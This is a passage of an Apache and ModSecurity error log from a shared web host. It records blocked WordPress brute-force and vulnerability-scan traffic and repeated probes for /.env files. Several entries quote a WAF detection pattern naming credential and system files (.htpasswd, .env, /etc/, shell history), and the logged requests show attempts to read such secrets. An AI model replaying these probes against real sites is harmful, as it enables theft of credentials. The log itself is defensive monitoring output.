AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:06.415881 2026] [access_compat:error] [pid 648189:tid 648303] [remote 57.141.14.34:34676] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:06.487588 2026] [security2:error] [pid 648189:tid 648444] [client 34.23.213.224:44110] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zAlWSojQL4F7upKBiiwAAAN4"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:06.650581 2026] [security2:error] [pid 646876:tid 647092] [client 34.23.213.224:44114] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zAtyTkdrNlD40tSGs0QAAAFQ"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:06.668176 2026] [security2:error] [pid 648189:tid 648279] [remote 17.241.227.146:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 146.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zAlWSojQL4F7upKBikwAAszk"] [Sat Jun 13 18:17:06.708872 2026] [security2:error] [pid 648189:tid 648350] [remote 17.22.237.163:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 163.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zAlWSojQL4F7upKBilAAAmX8"] [Sat Jun 13 18:17:06.803237 2026] [security2:error] [pid 648189:tid 648400] [client 185.177.72.9:40738] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/dev-env/.env"] [unique_id "ai3zAlWSojQL4F7upKBimwAAALQ"] [Sat Jun 13 18:17:06.811430 2026] [security2:error] [pid 648189:tid 648433] [client 34.23.213.224:44120] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zAlWSojQL4F7upKBinAAAANQ"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:06.820155 2026] [access_compat:error] [pid 646876:tid 646910] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50NS9zdWJzeXN0ZW0vaW5wdXQ2L2RldmljZQ== [Sat Jun 13 18:17:06.820584 2026] [access_compat:error] [pid 646876:tid 646910] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50NS9zdWJzeXN0ZW0vaW5wdXQ2L2RldmljZQ== [Sat Jun 13 18:17:06.835243 2026] [security2:error] [pid 648189:tid 648381] [client 34.23.213.224:44136] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zAlWSojQL4F7upKBinQAAAKE"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:06.940501 2026] [security2:error] [pid 648189:tid 648407] [client 185.177.72.9:40738] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/dev.php"] [unique_id "ai3zAlWSojQL4F7upKBingAAALo"] [Sat Jun 13 18:17:06.975005 2026] [access_compat:error] [pid 646876:tid 646929] [remote 57.141.14.9:29138] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:06.975546 2026] [access_compat:error] [pid 646876:tid 646929] [remote 57.141.14.9:29138] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:06.982827 2026] [security2:error] [pid 648189:tid 648379] [client 34.23.213.224:44150] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zAlWSojQL4F7upKBioAAAAJ8"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:07.038134 2026] [security2:error] [pid 646876:tid 647035] [client 34.23.213.224:44166] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zA9yTkdrNlD40tSGs5AAAABs"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:07.118910 2026] [security2:error] [pid 646876:tid 647106] [client 172.56.168.133:48513] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3zA9yTkdrNlD40tSGs5QAAAGI"] [Sat Jun 13 18:17:07.119056 2026] [security2:error] [pid 646876:tid 647106] [client 172.56.168.133:48513] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3zA9yTkdrNlD40tSGs5QAAAGI"] [Sat Jun 13 18:17:07.201647 2026] [security2:error] [pid 648189:tid 648438] [client 34.23.213.224:44180] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zA1WSojQL4F7upKBipQAAANk"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:07.336172 2026] [access_compat:error] [pid 646876:tid 646959] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDUvbW91c2UwL3Bvd2Vy [Sat Jun 13 18:17:07.336626 2026] [access_compat:error] [pid 646876:tid 646959] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDUvbW91c2UwL3Bvd2Vy [Sat Jun 13 18:17:07.360695 2026] [security2:error] [pid 648189:tid 648415] [client 185.177.72.9:40754] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/dev_env/.env"] [unique_id "ai3zA1WSojQL4F7upKBirQAAAMI"] [Sat Jun 13 18:17:07.363946 2026] [security2:error] [pid 648189:tid 648465] [client 34.23.213.224:44186] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zA1WSojQL4F7upKBirgAAAO8"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:07.497783 2026] [security2:error] [pid 648189:tid 648428] [client 185.177.72.9:40754] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/developer.php"] [unique_id "ai3zA1WSojQL4F7upKBitgAAAM8"] [Sat Jun 13 18:17:07.498450 2026] [access_compat:error] [pid 648189:tid 648315] [remote 57.141.14.15:59725] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:07.498752 2026] [access_compat:error] [pid 648189:tid 648315] [remote 57.141.14.15:59725] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:07.525747 2026] [security2:error] [pid 648189:tid 648409] [client 34.23.213.224:44192] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zA1WSojQL4F7upKBiuQAAALw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:07.686472 2026] [security2:error] [pid 648189:tid 648484] [client 34.23.213.224:44198] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zA1WSojQL4F7upKBivwAAAQI"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:07.778103 2026] [security2:error] [pid 648189:tid 648437] [client 185.177.72.9:40760] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/developer/.env"] [unique_id "ai3zA1WSojQL4F7upKBiwgAAANg"] [Sat Jun 13 18:17:07.800371 2026] [security2:error] [pid 648189:tid 648242] [remote 17.22.237.81:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 81.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zA1WSojQL4F7upKBiwwAAvhU"] [Sat Jun 13 18:17:07.820496 2026] [access_compat:error] [pid 646876:tid 646949] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQxL2RldmljZS9kcml2ZXIvTE5YU0xQQk46MDAvcG93ZXI= [Sat Jun 13 18:17:07.820792 2026] [access_compat:error] [pid 646876:tid 646949] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQxL2RldmljZS9kcml2ZXIvTE5YU0xQQk46MDAvcG93ZXI= [Sat Jun 13 18:17:07.846782 2026] [security2:error] [pid 648189:tid 648378] [client 34.23.213.224:44204] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zA1WSojQL4F7upKBixAAAAJ4"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:07.867869 2026] [access_compat:error] [pid 648189:tid 648266] [remote 57.141.14.61:42536] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:07.868149 2026] [access_compat:error] [pid 648189:tid 648266] [remote 57.141.14.61:42536] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:07.923742 2026] [security2:error] [pid 648189:tid 648446] [client 185.177.72.9:40760] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/developerslv/.env"] [unique_id "ai3zA1WSojQL4F7upKBiyQAAAOA"] [Sat Jun 13 18:17:08.009769 2026] [security2:error] [pid 646876:tid 647066] [client 34.23.213.224:44212] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zBNyTkdrNlD40tSGs8gAAADo"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:08.064847 2026] [security2:error] [pid 648189:tid 648444] [client 185.177.72.9:40760] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/development/.env"] [unique_id "ai3zBFWSojQL4F7upKBiywAAAN4"] [Sat Jun 13 18:17:08.171300 2026] [security2:error] [pid 648189:tid 648383] [client 34.23.213.224:33078] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zBFWSojQL4F7upKBi0QAAAKM"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:08.203805 2026] [security2:error] [pid 648189:tid 648462] [client 185.177.72.9:40760] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/devs.php"] [unique_id "ai3zBFWSojQL4F7upKBi0gAAAOw"] [Sat Jun 13 18:17:08.226023 2026] [access_compat:error] [pid 648189:tid 648339] [remote 57.141.14.9:29152] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:08.226285 2026] [access_compat:error] [pid 648189:tid 648339] [remote 57.141.14.9:29152] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:08.242002 2026] [access_compat:error] [pid 648189:tid 648232] [remote 57.141.14.32:51231] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:08.242257 2026] [access_compat:error] [pid 648189:tid 648232] [remote 57.141.14.32:51231] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:08.313357 2026] [access_compat:error] [pid 646876:tid 646971] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDQvZXZlbnQ0L3Bvd2Vy [Sat Jun 13 18:17:08.313661 2026] [access_compat:error] [pid 646876:tid 646971] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDQvZXZlbnQ0L3Bvd2Vy [Sat Jun 13 18:17:08.314051 2026] [access_compat:error] [pid 646876:tid 646942] [remote 57.141.14.109:45152] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:08.314303 2026] [access_compat:error] [pid 646876:tid 646942] [remote 57.141.14.109:45152] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:08.333970 2026] [security2:error] [pid 648189:tid 648433] [client 34.23.213.224:33088] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zBFWSojQL4F7upKBi2AAAANQ"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:08.418252 2026] [access_compat:error] [pid 648189:tid 648273] [remote 216.73.216.223:17997] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:08.418523 2026] [access_compat:error] [pid 648189:tid 648273] [remote 216.73.216.223:17997] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:08.450306 2026] [security2:error] [pid 646876:tid 647048] [client 63.135.161.136:31187] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 136.161.135.63.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "tiptoppartyrentals.com"] [uri "/wp-login.php"] [unique_id 